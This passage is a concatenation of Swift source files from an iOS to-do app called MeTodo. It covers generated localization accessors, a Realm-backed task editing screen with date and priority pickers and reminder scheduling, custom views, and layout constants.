guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Date"
}
return NSLocalizedString("Date", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Delete
///
/// Locales: en, vi
static func delete(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Delete", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Delete"
}
return NSLocalizedString("Delete", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Done
///
/// Locales: en, vi
static func done(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Done", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Done"
}
return NSLocalizedString("Done", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Good afternoon.
///
/// Locales: en, vi
static func goodAfternoon(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("GoodAfternoon", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "GoodAfternoon"
}
return NSLocalizedString("GoodAfternoon", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Good evening.
///
/// Locales: en, vi
static func goodEvening(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("GoodEvening", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "GoodEvening"
}
return NSLocalizedString("GoodEvening", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Good morning.
///
/// Locales: en, vi
static func goodMorning(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("GoodMorning", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "GoodMorning"
}
return NSLocalizedString("GoodMorning", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Hight
///
/// Locales: en, vi
static func hight(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Hight", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Hight"
}
return NSLocalizedString("Hight", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: I cannot remind you. Please turn on notification 😭
///
/// Locales: en, vi
static func somethingWrongMessage(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("SomethingWrongMessage", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "SomethingWrongMessage"
}
return NSLocalizedString("SomethingWrongMessage", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Icon
///
/// Locales: en, vi
static func icon(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Icon", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Icon"
}
return NSLocalizedString("Icon", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Level
///
/// Locales: en, vi
static func level(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Level", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Level"
}
return NSLocalizedString("Level", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Low
///
/// Locales: en, vi
static func low(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Low", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Low"
}
return NSLocalizedString("Low", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Medium
///
/// Locales: en, vi
static func medium(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Medium", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Medium"
}
return NSLocalizedString("Medium", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: New Task
///
/// Locales: en, vi
static func newTask(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("NewTask", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "NewTask"
}
return NSLocalizedString("NewTask", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Note
///
/// Locales: en, vi
static func note(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Note", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Note"
}
return NSLocalizedString("Note", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Save
///
/// Locales: en, vi
static func save(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Save", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Save"
}
return NSLocalizedString("Save", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Something went wrong
///
/// Locales: en, vi
static func somethingWrong(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("SomethingWrong", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "SomethingWrong"
}
return NSLocalizedString("SomethingWrong", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: This list and all it's associated data will be deleted. This cannot be undone
///
/// Locales: en, vi
static func deleteMessage(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("DeleteMessage", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "DeleteMessage"
}
return NSLocalizedString("DeleteMessage", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: Title
///
/// Locales: en, vi
static func title(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Title", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Title"
}
return NSLocalizedString("Title", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: What do you need to do?
///
/// Locales: en, vi
static func askTodo(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("AskTodo", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "AskTodo"
}
return NSLocalizedString("AskTodo", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: You have %d %@ to do
///
/// Locales: en, vi
static func taskMessage(_ value1: Int, _ value2: String, preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
let format = NSLocalizedString("TaskMessage", tableName: "Localization", bundle: hostingBundle, comment: "")
return String(format: format, locale: applicationLocale, value1, value2)
}
guard let (locale, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "TaskMessage"
}
let format = NSLocalizedString("TaskMessage", tableName: "Localization", bundle: bundle, comment: "")
return String(format: format, locale: locale, value1, value2)
}
/// en translation: completed
///
/// Locales: en, vi
static func completed(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Completed", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Completed"
}
return NSLocalizedString("Completed", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: task
///
/// Locales: en, vi
static func task(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Task", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Task"
}
return NSLocalizedString("Task", tableName: "Localization", bundle: bundle, comment: "")
}
/// en translation: tasks
///
/// Locales: en, vi
static func tasks(preferredLanguages: [String]? = nil) -> String {
guard let preferredLanguages = preferredLanguages else {
return NSLocalizedString("Tasks", tableName: "Localization", bundle: hostingBundle, comment: "")
}
guard let (_, bundle) = localeBundle(tableName: "Localization", preferredLanguages: preferredLanguages) else {
return "Tasks"
}
return NSLocalizedString("Tasks", tableName: "Localization", bundle: bundle, comment: "")
}
fileprivate init() {}
}
fileprivate init() {}
}
fileprivate struct intern: Rswift.Validatable {
fileprivate static func validate() throws {
try _R.validate()
}
fileprivate init() {}
}
fileprivate class Class {}
fileprivate init() {}
}
struct _R: Rswift.Validatable {
static func validate() throws {
#if os(iOS) || os(tvOS)
try nib.validate()
#endif
#if os(iOS) || os(tvOS)
try storyboard.validate()
#endif
}
#if os(iOS) || os(tvOS)
struct nib: Rswift.Validatable {
static func validate() throws {
try _TaskTableViewCell.validate()
}
struct _TaskTableViewCell: Rswift.NibResourceType, Rswift.Validatable {
let bundle = R.hostingBundle
let name = "TaskTableViewCell"
func firstView(owner ownerOrNil: AnyObject?, options optionsOrNil: [UINib.OptionsKey : Any]? = nil) -> TaskTableViewCell? {
return instantiate(withOwner: ownerOrNil, options: optionsOrNil)[0] as? TaskTableViewCell
}
static func validate() throws {
if UIKit.UIImage(named: "uncheck", in: R.hostingBundle, compatibleWith: nil) == nil { throw Rswift.ValidationError(description: "[R.swift] Image named 'uncheck' is used in nib 'TaskTableViewCell', but couldn't be loaded.") }
if #available(iOS 11.0, tvOS 11.0, *) {
}
}
fileprivate init() {}
}
fileprivate init() {}
}
#endif
#if os(iOS) || os(tvOS)
struct storyboard: Rswift.Validatable {
static func validate() throws {
#if os(iOS) || os(tvOS)
try launchScreen.validate()
#endif
#if os(iOS) || os(tvOS)
try main.validate()
#endif
}
#if os(iOS) || os(tvOS)
struct launchScreen: Rswift.StoryboardResourceWithInitialControllerType, Rswift.Validatable {
typealias InitialController = UIKit.UIViewController
let bundle = R.hostingBundle
let name = "LaunchScreen"
static func validate() throws {
if UIKit.UIImage(named: "launch-background", in: R.hostingBundle, compatibleWith: nil) == nil { throw Rswift.ValidationError(description: "[R.swift] Image named 'launch-background' is used in storyboard 'LaunchScreen', but couldn't be loaded.") }
if #available(iOS 11.0, tvOS 11.0, *) {
}
}
fileprivate init() {}
}
#endif
#if os(iOS) || os(tvOS)
struct main: Rswift.StoryboardResourceWithInitialControllerType, Rswift.Validatable {
typealias InitialController = HomeViewController
let bundle = R.hostingBundle
let homeViewController = StoryboardViewControllerResource<HomeViewController>(identifier: "HomeViewController")
let name = "Main"
func homeViewController(_: Void = ()) -> HomeViewController? {
return UIKit.UIStoryboard(resource: self).instantiateViewController(withResource: homeViewController)
}
static func validate() throws {
if #available(iOS 11.0, tvOS 11.0, *) {
}
if _R.storyboard.main().homeViewController() == nil { throw Rswift.ValidationError(description:"[R.swift] ViewController with identifier 'homeViewController' could not be loaded from storyboard 'Main' as 'HomeViewController'.") }
}
fileprivate init() {}
}
#endif
fileprivate init() {}
}
#endif
fileprivate init() {}
}
<file_sep>/Final Project/MeTodo/View/CustomView/OnboardHeaderView.swift
//
// OnboardHeaderView.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import SnapKit
protocol OnboardHeaderViewDelegate: class {
func onboardHeaderView(_ view: OnboardHeaderView, didTapRightButton button: AppButton)
}
class OnboardHeaderView: AppStackView {
private let headerLabel = Init(value: AppLabel()) {
$0.font = .systemFont(ofSize: 24, weight: .bold)
}
private let rightButton = Init(value: AppButton()) {
$0.titleLabel?.font = .systemFont(ofSize: 16, weight: .bold)
}
weak var delegate: OnboardHeaderViewDelegate?
@IBInspectable var headerText: String! {
didSet {
setupView()
}
}
@IBInspectable var rightText: String? {
didSet {
setupView()
}
}
@IBInspectable var headerTextColor: UIColor = .black {
didSet {
setupView()
}
}
@IBInspectable var rightTextColor: UIColor = .black {
didSet {
setupView()
}
}
@objc func didTapRightButton(sender: AppButton) {
delegate?.onboardHeaderView(self, didTapRightButton: sender)
}
//MARK: Initialization
override init(frame: CGRect) {
super.init(frame: frame)
setupView()
}
required init(coder: NSCoder) {
super.init(coder: coder)
setupView()
}
//MARK: Private Methods
private func setupView() {
alignment = .center
axis = .horizontal
distribution = .equalSpacing
for views in arrangedSubviews {
views.removeFromSuperview()
}
headerLabel.textColor = headerTextColor
headerLabel.text = headerText
addArrangedSubview(headerLabel)
if rightText != nil {
rightButton.setTitleColor(rightTextColor, for: .normal)
rightButton.setTitle(rightText?.uppercased(), for: .normal)
rightButton.setTitleColor(rightTextColor.withAlphaComponent(0.5), for: .highlighted)
rightButton.addTarget(self, action: #selector(didTapRightButton(sender:)), for: .touchUpInside)
addArrangedSubview(rightButton)
}
}
}
<file_sep>/Final Project/MeTodo/View/Home Tabbar/TaskViewController.swift
//
// TaskViewController.swift
// Todo
//
// Created by <NAME> on 12/13/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import UIKit
import SnapKit
import RealmSwift
protocol TaskViewControllerDelegate: class {
func dismissDetailView(deletedActiveTask: Bool)
}
class TaskViewController: UIViewController {
var task: Task!
var taskList: TaskList!
var completed: Bool!
var taskTextViewHeightConstraint: Constraint!
var noteTextViewHeightConstraint: Constraint!
private var keyboardIsShown = false
private var savedYValue:CGFloat = 0
private var dismissKeyboardSwipe: UISwipeGestureRecognizer!
lazy var closeImageView = UIImageView()
lazy var trashImageView = UIImageView()
lazy var taskTextView = UITextView()
lazy var statusLabel = UILabel()
lazy var scrollView = UIScrollView()
lazy var textViewPlaceholder = UILabel()
weak var delegate: TaskViewControllerDelegate?
private var kBuffer: CGFloat!
lazy var dateLabel = UILabel()
lazy var dateTextField = AppTextField()
lazy var levelLabel = UILabel()
lazy var levelTextField = AppTextField()
lazy var datePicker = UIDatePicker()
lazy var levelPicker = UIPickerView()
override func viewDidLoad() {
super.viewDidLoad()
kBuffer = 15 + (UIScreen.main.bounds.width - MINIMIZED_LIST_WIDTH)/2
applyDismissKeyboardGesture()
NotificationCenter.default.addObserver(self, selector: #selector(keyboardWillShow), name: UIResponder.keyboardWillShowNotification, object: nil)
buildUI()
datePicker.date = task.dueDate
showDatePicker()
showLevelPicker()
levelPicker.selectRow(TaskLevel.allCases.firstIndex(of: task.taskLevel)!, inComponent: 0, animated: true)
donedatePicker()
doneLevelPicker()
setConstraints()
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
closeView(deletedTask: false)
}
private func buildUI() {
view.backgroundColor = .white
scrollView.alwaysBounceVertical = true
scrollView.delegate = self
closeImageView.image = UIImage(named: "x")
closeImageView.tintColor = .lightGray
let closeTap = UITapGestureRecognizer(target: self, action: #selector(closeView))
closeImageView.addGestureRecognizer(closeTap)
closeImageView.isUserInteractionEnabled = true
trashImageView.image = UIImage(named: "trash")
trashImageView.tintColor = .redOrange
trashImageView.isUserInteractionEnabled = true
let deleteTap = UITapGestureRecognizer(target: self, action: #selector(deleteTaskPrompt))
trashImageView.addGestureRecognizer(deleteTap)
var statusText = "Todo"
if (completed) {
statusText = R.string.localization.completed()
}
statusLabel.text = statusText
statusLabel.font = getPrimaryFont(.medium, size: 15)
statusLabel.textColor = .lightGray
taskTextView.text = task.text
taskTextView.font = getPrimaryFont(.medium, size: 22)
taskTextView.textColor = .black
taskTextView.translatesAutoresizingMaskIntoConstraints = true
taskTextView.isScrollEnabled = false
taskTextView.sizeToFit()
taskTextView.showsVerticalScrollIndicator = false
taskTextView.delegate = self
dateLabel.text = R.string.localization.date()
dateLabel.font = getPrimaryFont(.medium, size: 15)
dateLabel.textColor = .lightGray
dateTextField.font = getPrimaryFont(.medium, size: 22)
dateTextField.tintColor = .black
dateTextField.isDisableAllAction = true
levelLabel.text = R.string.localization.level()
levelLabel.font = getPrimaryFont(.medium, size: 15)
levelLabel.textColor = .lightGray
levelTextField.font = getPrimaryFont(.medium, size: 22)
levelTextField.tintColor = .black
levelTextField.isDisableAllAction = true
view.addSubview(scrollView)
scrollView.addSubviews([statusLabel, taskTextView, closeImageView, trashImageView, dateLabel, dateTextField, levelLabel, levelTextField])
}
private func setConstraints() {
scrollView.snp.makeConstraints { (make) in
make.left.right.bottom.top.equalTo(self.view)
}
closeImageView.snp.makeConstraints { (make) in
make.top.equalTo(16)
make.left.equalTo(15)
make.height.width.equalTo(20)
}
trashImageView.snp.makeConstraints { (make) in
make.top.equalTo(16)
make.height.width.equalTo(18)
make.right.equalTo(view.snp.right).offset(-15)
}
statusLabel.snp.makeConstraints { (make) in
make.top.equalTo(closeImageView.snp.bottom).offset(30)
make.left.equalTo(kBuffer)
}
taskTextView.snp.makeConstraints { (make) in
make.top.equalTo(statusLabel.snp.bottom).offset(5)
make.left.equalTo(statusLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
}
dateLabel.snp.makeConstraints { (make) in
make.left.equalTo(kBuffer)
make.top.equalTo(taskTextView.snp.bottom).offset(16)
}
dateTextField.snp.makeConstraints { (make) in
make.top.equalTo(dateLabel.snp.bottom).offset(10)
make.left.equalTo(dateLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
}
levelLabel.snp.makeConstraints { (make) in
make.left.equalTo(kBuffer)
make.top.equalTo(dateTextField.snp.bottom).offset(16)
}
levelTextField.snp.makeConstraints { (make) in
make.top.equalTo(levelLabel.snp.bottom).offset(10)
make.left.equalTo(levelLabel).offset(-6)
make.width.equalTo(MINIMIZED_LIST_WIDTH)
}
}
func showDatePicker(){
//Formate Date
datePicker.datePickerMode = .dateAndTime
datePicker.minimumDate = Date()
//ToolBar
let toolbar = UIToolbar();
toolbar.sizeToFit()
//done button & cancel button
let doneButton = UIBarButtonItem(title: R.string.localization.done(), style: .done, target: self, action: #selector(donedatePicker))
let spaceButton = UIBarButtonItem(barButtonSystemItem: UIBarButtonItem.SystemItem.flexibleSpace, target: nil, action: nil)
toolbar.setItems([doneButton,spaceButton], animated: false)
// add toolbar to textField
dateTextField.inputAccessoryView = toolbar
// add datepicker to textField
dateTextField.inputView = datePicker
}
@objc func donedatePicker(){
//For date formate
let formatter = DateFormatter()
formatter.dateFormat = "dd/MM/yyyy HH:mm"
dateTextField.text = formatter.string(from: datePicker.date)
}
func showLevelPicker(){
//Formate Date
levelPicker.dataSource = self
levelPicker.delegate = self
//ToolBar
let toolbar = UIToolbar();
toolbar.sizeToFit()
//done button & cancel button
let doneButton = UIBarButtonItem(title: R.string.localization.done(), style: .done, target: self, action: #selector(doneLevelPicker))
let spaceButton = UIBarButtonItem(barButtonSystemItem: UIBarButtonItem.SystemItem.flexibleSpace, target: nil, action: nil)
toolbar.setItems([doneButton,spaceButton], animated: false)
// add toolbar to textField
levelTextField.inputAccessoryView = toolbar
// add datepicker to textField
levelTextField.inputView = levelPicker
}
@objc func doneLevelPicker(){
let selectedIndex = levelPicker.selectedRow(inComponent: 0)
levelTextField.text = TaskLevel.allCases[selectedIndex].text
}
private func applyDismissKeyboardGesture() {
dismissKeyboardSwipe = UISwipeGestureRecognizer(target: self, action: #selector(dismissKeyboard))
dismissKeyboardSwipe.direction = .down
dismissKeyboardSwipe.delegate = self
view.addGestureRecognizer(dismissKeyboardSwipe)
}
private func deleteTask() {
let id = task.id
let realm = try! Realm()
try! realm.write {
realm.delete(task)
}
MeNotificationManager.shared.cancelNotifications(ids: [id])
closeView(deletedTask: true)
}
@objc func closeView(deletedTask: Bool = false) {
NotificationCenter.default.removeObserver(self, name: UIResponder.keyboardWillShowNotification, object: nil)
if (!completed && deletedTask) {
delegate?.dismissDetailView(deletedActiveTask: true)
} else {
delegate?.dismissDetailView(deletedActiveTask: false)
}
dismiss(animated: true, completion: nil)
}
@objc func keyboardWillShow(notification: NSNotification) {
}
@objc func dismissKeyboard() {
scrollView.setContentOffset(CGPoint(x: 0, y: savedYValue), animated: true)
scrollView.isScrollEnabled = true
if (taskTextView.text == "") {
taskTextView.text = task.text
} else {
let id = task.id
let realm = try! Realm()
guard let text = taskTextView.text, text.count > 0 else { return }
guard let _date = dateTextField.text, _date.count > 0 else { return }
guard let _level = levelTextField.text, _level.count > 0 else { return }
let level = levelPicker.selectedRow(inComponent: 0)
let levelTask = TaskLevel.allCases[level].rawValue
let date = datePicker.date
let oldDate = task.dueDate
guard text != "" else { return }
try! realm.write {
task.text = text
task.level = levelTask
task.dueDate = date
}
if date == oldDate { return }
let contentTitle = "\(text) - \(R.string.localization.level()): \(TaskLevel.allCases[level].text) "
MeNotificationManager.shared.schedule(id: id, contentTitle: contentTitle, date: date )
}
if (taskTextViewHeightConstraint != nil) {
taskTextViewHeightConstraint.deactivate()
}
if (noteTextViewHeightConstraint != nil) {
noteTextViewHeightConstraint.deactivate()
}
taskTextView.isScrollEnabled = false
//noteTextView.isScrollEnabled = false
view.endEditing(true)
}
@objc func deleteTaskPrompt() {
let alert = UIAlertController(title: R.string.localization.deleteTitle(), message: R.string.localization.deleteMessage(), preferredStyle: .alert)
alert.addAction(UIAlertAction(title: R.string.localization.delete(), style: .destructive, handler: { _ in
self.deleteTask()
}))
alert.addAction(UIAlertAction(title: R.string.localization.cancel(), style: .default, handler: nil))
present(alert, animated: true, completion: nil)
}
}
extension TaskViewController: UIGestureRecognizerDelegate {
func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
return true
}
}
extension TaskViewController: UIScrollViewDelegate {
}
extension TaskViewController: UITextViewDelegate {
func textViewDidBeginEditing(_ textView: UITextView) {
}
func textViewDidEndEditing(_ textView: UITextView) {
keyboardIsShown = false
}
}
extension TaskViewController: UIPickerViewDataSource {
func numberOfComponents(in pickerView: UIPickerView) -> Int {
1
}
func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int {
3
}
func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {
return TaskLevel.allCases[row].text
}
}
extension TaskViewController: UIPickerViewDelegate {
}
<file_sep>/Final Project/MeTodo/View/BaseView/View Controllers/LiquidViewController.swift
//
// LiquidViewController.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import liquid_swipe
class LiquidViewController: LiquidSwipeContainerController, LiquidViewControllerProtocol {
deinit {
print("DEINIT \(self)")
}
var navigationTitle: String? { nil }
var backgroundColor: UIColor { R.color.appBackgroundColor()! }
var prefersLargeTitles: Bool { false }
var isHiddenNavigationBar: Bool { true }
override func viewDidLoad() {
super.viewDidLoad()
view.backgroundColor = backgroundColor
addSubviews()
setupUI()
registeNotifications()
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
title = navigationTitle
navigationController?.navigationBar.prefersLargeTitles = prefersLargeTitles
navigationController?.setNavigationBarHidden(isHiddenNavigationBar, animated: true)
}
func addSubviews() {
}
func setupUI() {
}
func registeNotifications() {
}
func beginAnimate() {
}
func endAnimate() {
}
}
<file_sep>/Final Project/MeTodo/View/CustomView/TagIconView.swift
//
// TicketTagView.swift
// MeTodo
//
// Created by <NAME> on 4/13/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
import SnapKit
class TagIconView: AppView {
private let ticketImageView = Init(value: AppImageView()) {
$0.backgroundColor = .clear
$0.tintColor = R.color.dimPurpleColor()
$0.image = UIImage(systemName: "bell")
$0.contentMode = .scaleAspectFit
}
var icon: UIImage? {
didSet {
ticketImageView.image = icon
}
}
var iconTintColor: UIColor? {
didSet {
ticketImageView.tintColor = iconTintColor
}
}
var color: UIColor = R.color.lightBlueColor()! {
didSet {
backgroundColor = color
}
}
override func setupView() {
super.setupView()
backgroundColor = color
cornerRad = CornerRadius.Regular
addSubview(ticketImageView)
ticketImageView.snp.makeConstraints {
$0.size.equalTo(AppImageSize.Regular)
$0.edges.equalToSuperview().inset(16)
}
}
}
<file_sep>/Final Project/MeTodo/Extensions/UICollectionView.swift
//
// UICollectionView.swift
// MeTodo
//
// Created by <NAME> on 4/13/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
extension UICollectionView {
func registClassCell<Cell: UICollectionViewCell>(_ cellClass: Cell.Type) {
register(cellClass, forCellWithReuseIdentifier: Cell.name)
}
func dequeueReusableCell<Cell: UICollectionViewCell>(forIndexPath indexPath: IndexPath) -> Cell {
guard let cell = self.dequeueReusableCell(withReuseIdentifier: Cell.name, for: indexPath) as? Cell else {
fatalError("Error for cell if: \(Cell.name) at \(indexPath)")
}
return cell
}
}
<file_sep>/Final Project/MeTodo/Helpers/AppConfig.swift
//
// AppConfig.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
enum AppStringPlist: String {
case GoogleServiceInfoFile = "Google Service File Name"
case AppName = "CFBundleName"
var text: String {
guard let string = Bundle.main.object(forInfoDictionaryKey: self.rawValue) as? String else {
fatalError("AppStringPlist not found for key: \(self.rawValue)")
}
print("AppStringPlist key = \(self) , text = \(string)")
return string
}
}
<file_sep>/Final Project/MeTodo/Analytics/AnalyticsService.swift
//
// AppDimension.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
/**
Protocol that defines the minimum API that an AnalyticsService should expose.
The AnalyticsService is in charge of handling event logging for a specific analytics platform.
*/
protocol AnalyticsService {
/// Identifies the user with a unique ID
func identifyUser(with userId: String)
/// Logs an event with it's associated metadata
func log(event: AnalyticsEvent)
}
<file_sep>/Final Project/MeTodo/Helpers/AppError.swift
//
// AppError.swift
// MeTodo
//
// Created by <NAME> on 4/12/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
struct AppError: Error, Equatable {
let domain = Bundle.main.bundleIdentifier!
var errorCode: Int!
var appErrorDescription: String {
switch ErrorCode(rawValue: errorCode) {
case .invalidEmail:
return "Email has been wrong"
case .userNotFound:
return "User not found"
case .userEmailTaken:
return "Email has been used"
case .connectionFailed:
return "Connection Failed"
case .permissionDenyFirestore:
return "Permission Deny"
case .none:
return rootDesciption ?? "Unkown Error"
}
}
var rootDesciption: String?
init(from error: NSError) {
rootDesciption = error.description
errorCode = error.code
}
}
enum ErrorCode: Int {
case invalidEmail = 125
case userNotFound = 205
case userEmailTaken = 203
case connectionFailed = 100
case permissionDenyFirestore = 7
}
<file_sep>/Final Project/MeTodo/View/Home Tabbar/HomeRoutes.swift
//
// HomeRoutes.swift
// ios-base
//
// Created by <NAME> on 6/13/19.
// Copyright © 2019 TopTier labs. All rights reserved.
//
import UIKit
enum HomeRoutes: Route {
case home
case createTicket
var screen: UIViewController {
switch self {
case .home:
return buildHomeViewController()
case .createTicket:
return buildCreateTicketViewController()
}
}
private func buildHomeViewController() -> UIViewController {
let storyboard = UIStoryboard(name: "Main", bundle: nil)
let vc = storyboard.instantiateViewController(withIdentifier: "HomeViewController")
return vc
}
private func buildCreateTicketViewController() -> UIViewController {
return UIViewController()
}
}
<file_sep>/Final Project/MeTodo/Resources/Dimensions/AppDimension.swift
//
// AppDimension.swift
// MeChat
//
// Created by <NAME> on 4/5/20.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
struct ScreenSize {
static let screenWidth = UIScreen.main.bounds.width
static let screenHeight = UIScreen.main.bounds.height
}
struct CornerRadius {
static let Medium = CGFloat(8)
static let Regular = CGFloat(16)
static let Large = CGFloat(40)
}
struct TextFieldHeight {
static let Medium = CGFloat(60)
}
struct Margin {
static let Tiny = CGFloat(8)
static let Small = CGFloat(12)
static let Medium = CGFloat(16)
static let Normal = CGFloat(24)
static let Regular = CGFloat(32)
static let Hight = CGFloat(48)
static let Large = CGFloat(64)
}
struct Spacing {
static let Small = CGFloat(8)
static let Medium = CGFloat(16)
static let Hight = CGFloat(32)
static let Large = CGFloat(64)
}
struct FontSize {
static let Small = CGFloat(12)
static let Medium = CGFloat(16)
static let Regular = CGFloat(18)
static let Higher = CGFloat(20)
static let Header = CGFloat(36)
static let Big = CGFloat(40)
}
struct AppScreenSize {
static let screenSize = UIScreen.main.bounds
static let screenWidth = screenSize.width
static let screenHeight = screenSize.height
}
struct AppImageSize {
static let Regular = CGSize(width: 24, height: 24)
static let Large = CGSize(width: 56, height: 56)
}
struct IconButtonSize {
static let Regular = CGSize(width: 24, height: 24)
static let Hight = CGSize(width: 36, height: 36)
static let Big = CGSize(width: 60, height: 60)
}
<file_sep>/Final Project/MeTodo/ViewModels/SignUpViewModel.swift
//
// SignUpViewModel.swift
// MeTodo
//
